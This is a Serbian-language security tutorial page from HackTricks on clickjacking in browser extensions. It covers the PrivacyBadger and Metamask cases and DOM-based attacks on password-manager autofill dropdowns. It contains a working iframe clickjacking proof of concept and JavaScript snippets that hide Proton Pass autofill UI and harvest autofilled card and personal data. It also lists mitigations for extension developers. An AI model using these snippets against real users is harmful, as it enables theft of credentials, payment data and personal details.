BrowExt - ClickJacking

Reading time: 9 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Ova stranica će zloupotrebiti ClickJacking ranjivost u proširenju pregledača.
Ako ne znaš šta je ClickJacking pogledaj:

Clickjacking

Ekstenzije sadrže fajl manifest.json i taj JSON fajl ima polje web_accessible_resources. Evo šta the Chrome docs kažu o tome:

Ovi resursi bi potom bili dostupni na web stranici putem URL-a chrome-extension://[PACKAGE ID]/[PATH], koji se može generisati pomoću extension.getURL method. Resursi koji su na allowlisti se isporučuju sa odgovarajućim CORS zaglavljima, pa su dostupni putem mehanizama kao što je XHR.1

Polje web_accessible_resources u ekstenziji pregledača nije samo dostupno preko weba; ono takođe radi sa ugrađenim privilegijama ekstenzije. To znači da imaju mogućnost da:

  • Promene stanje ekstenzije
  • Učitaju dodatne resurse
  • Interaguju sa pregledačem u određenoj meri

Međutim, ova funkcija predstavlja bezbednosni rizik. Ako resurs u okviru web_accessible_resources ima neku značajnu funkcionalnost, napadač bi potencijalno mogao da ugrađuje taj resurs u eksternu web stranicu. Naporni korisnici koji posete tu stranicu mogli bi nenamerno aktivirati ugrađeni resurs. Takva aktivacija može dovesti do neželjenih posledica, u zavisnosti od dozvola i mogućnosti resursa ekstenzije.

Primer: PrivacyBadger

U ekstenziji PrivacyBadger identifikovana je ranjivost vezana za direktorijum skin/ koji je deklarisan kao web_accessible_resources na sledeći način (Pogledaj originalni blog post):

json
"web_accessible_resources": [
"skin/*",
"icons/*"
]

Ova konfiguracija je dovela do potencijalnog bezbednosnog problema. Tačnije, fajl skin/popup.html, koji se prikazuje pri interakciji sa PrivacyBadger ikonom u pregledaču, mogao je biti ugrađen unutar iframe-a. Ovo ugrađivanje je moglo biti iskorišćeno da prevari korisnike da nenamerno kliknu na "Disable PrivacyBadger for this Website". Takva radnja bi narušila privatnost korisnika onemogućavanjem PrivacyBadger zaštite i potencijalno izložila korisnika povećanom praćenju. Vizuelna demonstracija ovog exploita može se pogledati u ClickJacking video primeru dostavljenom na https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.

Da bi se otklonila ova ranjivost, implementirano je jednostavno rešenje: uklanjanje /skin/* iz liste web_accessible_resources. Ova izmena je efikasno umanjila rizik tako što je osigurala da sadržaj direktorijuma skin/ ne može biti pristupljen ili manipulisan putem web-accessible resources.

Ispravka je bila jednostavna: remove /skin/* from the web_accessible_resources.

PoC

html
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>

<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>

<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Metamask Primer

Blog post o ClickJacking u metamask možete pronaći ovde. U ovom slučaju, Metamask je ispravio ranjivost tako što je proverio da je protokol koji se koristi za pristup https: ili http: (na primer ne chrome:):

Another ClickJacking fixed u Metamask ekstenziji odnosio se na to da su korisnici mogli da Click to whitelist kada je stranica bila sumnjiva kao phishing zbog “web_accessible_resources”: [“inpage.js”, “phishing.html”]. Pošto je ta stranica bila ranjiva na Clickjacking, napadač bi je mogao zloupotrebiti prikazivanjem nečeg normalnog kako bi žrtva kliknula da je whitelist-uje bez da primeti, a zatim se vratio na phishing stranicu koja će biti whitelisted.

Steam Inventory Helper Primer

Pogledajte sledeću stranicu da vidite kako je XSS u browser extension bila chained sa ClickJacking ranjivošću:

BrowExt - XSS Example


DOM-based Extension Clickjacking (Password Manager Autofill UIs)

Classic extension clickjacking zloupotrebljava pogrešno konfigurisan web_accessible_resources da iframe-uje privilegovani HTML i navede korisničke klikove. Noviji tip, DOM-based extension clickjacking, cilja autofill dropdowns koje password managers ubacuju direktno u DOM stranice i koristi CSS/DOM trikove da ih sakrije ili prekriva dok ih ostavlja klikabilnim. Jedan prisiljeni klik može izabrati sačuvanu stavku i popuniti polja pod kontrolom napadača osetljivim podacima.

Model pretnje

  • Napadač kontroliše web stranicu (ili postigne XSS/subdomain takeover/cache poisoning na povezanoj domeni).
  • Žrtva ima instaliranu i otključanu password manager ekstenziju (neki autofill rade čak i kada je nominalno zaključana).
  • Induciran je bar jedan korisnički klik (prekriveni cookie bannere, dijalozi, CAPTCHAs, igre, itd.).

Tok napada (manual autofill)

  1. Ubaci nevidljivu ali fokusirljivu formu (login/PII/credit-card polja).
  2. Fokusiraj input da prizove autofill dropdown ekstenzije pored polja.
  3. Sakrij ili prekrivi UI ekstenzije dok ga ostavljaš interaktivnim.
  4. Poravnaj uverljiv kontrol ispod skrivenog dropdown-a da nateraš klik koji izabere stavku.
  5. Pročitaj popunjene vrednosti iz forme napadača i exfiltrate.

How to hide the autofill UI

  • Element ekstenzije
  • Root element opacity (generic):
js
// Reduce or nullify opacity of the extension root
// Works when the root element is attached in the page DOM
const root = document.querySelector('protonpass-root')
if (root) root.style.opacity = 0
  • Child unutar otvorenog ShadowRoot (dinamički tag, sakrij unutrašnji iframe):
js
// Find dynamic root like <protonpass-root-xyz> and hide its child iframe
const root = Array.from(document.querySelectorAll('*'))
.find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'))
if (root?.shadowRoot) {
const frame = root.shadowRoot.querySelector('iframe')
if (frame) frame.style.cssText += 'opacity:0 !important;'
}
  • Roditeljski element
  • BODY/HTML opacity trikovi da UI ekstenzije učine nevidljivim dok stranica izgleda normalno (npr. kao pozadina za screenshot):
js
// Hide full page, then reveal a tiny amount to keep clicks working
document.body.style.opacity = 0
// Optional: Show a screenshot/lookalike to avoid a blank screen
// document.documentElement.style.backgroundImage = 'url(website.png)'

// Inject a credit-card form and focus to trigger dropdown
/* create #cardform with #cardnumber, #expiry, #cvc */
document.getElementById('cardnumber').focus()
// Make body barely visible to allow user interaction
document.body.style.opacity = '0.001'

function getCardValues() {
const num = document.getElementById('cardnumber').value
const exp = document.getElementById('expiry').value
const cvc = document.getElementById('cvc').value
// exfiltrate via XHR/fetch/websocket
}
  • Overlay
  • Delimični overlay: zakrijte sve osim nekoliko piksela tako da dropdown ostane klikabilan (osigurajte da je attacker overlay poslednji u DOM-u sa max z-index, ili koristite Top Layer).
  • Potpuni overlay koristeći pointer-events:none tako da klikovi prolaze do skrivenog dropdown-a; držite ga trajnim pomoću Popover API:
html
<div id="overlay" popover style="pointer-events:none;">Cookie consent</div>
<script>
overlay.showPopover()
// Inject a personal data form and focus to trigger dropdown
/* create #personalform with #name/#email/#phone/... */
document.getElementById('name').focus()
function getData(){ /* read + exfil values on change */ }
</script>

Pozicioniranje klika žrtve

  • Fiksno postavljanje: pozicionirajte skriveni padajući meni ispod verodostojne kontrole kao što su “Accept cookies”, “Close” ili CAPTCHA checkbox.
  • Praćenje miša: pomerajte fokusirani input pod kursor tako da padajući meni prati pokrete; periodično ponovo fokusirajte tako da jedan klik bilo gde izabere stavku:
js
const f = document.getElementById('name')
document.addEventListener('mousemove', e => {
personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;`
// some managers hide the dropdown if focus is lost; refocus slowly
setTimeout(() => f.focus(), 100)
})

Uticaj i scenariji

  • Sajt pod kontrolom napadača: jedan prisiljeni klik može izvesti podatke o kreditnoj kartici (broj/istek/CVC) i lične podatke (ime, email, telefon, adresa, datum rođenja) koji nisu ograničeni na domen.
  • Pouzdan sajt sa XSS/subdomain takeover/cache poisoning: višeklikna krađa kredencijala (username/password) i TOTP, zato što mnogi menadžeri automatski popunjavaju polja preko povezanih poddomena/parent domena (npr., *.example.com).
  • Passkeys: ako RP ne veže WebAuthn izazove za sesiju, XSS može presresti potpisanu tvrdnju; DOM-based clickjacking sakriva passkey prompt da bi izazvao potvrđujući klik korisnika.

Ograničenja

  • Zahteva bar jedan klik korisnika i solidno poravnanje piksela (realistična prekrivanja olakšavaju izazivanje klikova).
  • Auto-lock/logout smanjuje prozor za eksploataciju; neki menadžeri se ipak automatski popunjavaju dok su “zaključani”.

Mitigacije za developere ekstenzija

  • Renderujte autofill UI u Top Layer (Popover API) ili na drugi način obezbedite da stoji iznad page stacking; izbegavajte da bude prekriveno od strane page-controlled overlays.
  • Otpornost na CSS tampering: preferirajte Closed Shadow DOM i pratite promenе pomoću MutationObserver za sumnjive izmene stilova na root elementima UI.
  • Otkrivajte zlonamerna prekrivanja pre popunjavanja: izbrojite druge top-layer/popover elemente, privremeno onemogućite pointer-events:none i koristite elementsFromPoint() za detekciju oklužije; zatvorite UI ako postoje overlay-i.
  • Detektujte sumnjive promene opacity ili stilova na <body>/<html> i pre i posle renderovanja.
  • Za probleme zasnovane na iframe: suzite opseg MV3 web_accessible_resources matches i izbegavajte izlaganje HTML UI; za neizbežan HTML, šaljite X-Frame-Options: DENY ili Content-Security-Policy: frame-ancestors 'none'.

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks